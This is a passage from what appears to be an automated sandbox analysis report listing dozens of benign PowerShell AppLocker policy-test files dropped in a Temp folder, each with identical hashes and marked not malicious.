C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hl3alnvm.fk5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hrurlxlz.3ae.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hz4qn2c3.pz1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iiiqre15.1g3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_imd33d44.xhk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_izpblvnu.yzx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jm3pjk3j.xex.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwgcwg3i.0h1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nfkk25ko.zqs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nfw03tn3.r0p.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ni05xjvh.ctl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oirapatw.ohk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_owg0d2ie.p3r.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pjg0fa5y.ng5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pk2hcbvj.0wc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_quxuvdkt.szb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rf15xaa2.fi2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rrvgwufr.jj0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s0irgxxy.il3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sn2dfsbc.dr2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t1iypits.b31.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t4wpwzef.i2g.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u5hsdbfh.kcm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uafn0j3j.enx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ubmysb3w.hso.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uhdlf2yu.4ri.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_us1wrwzj.mjy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uue1nudw.wyk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vxi4eyom.gt5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w0gpi0hh.qq1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w5hk1x3d.xxy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wcdcrl4g.2ds.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wdzkk4bz.nxp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wjc3pdy2.uji.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wq04n2ah.qg4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
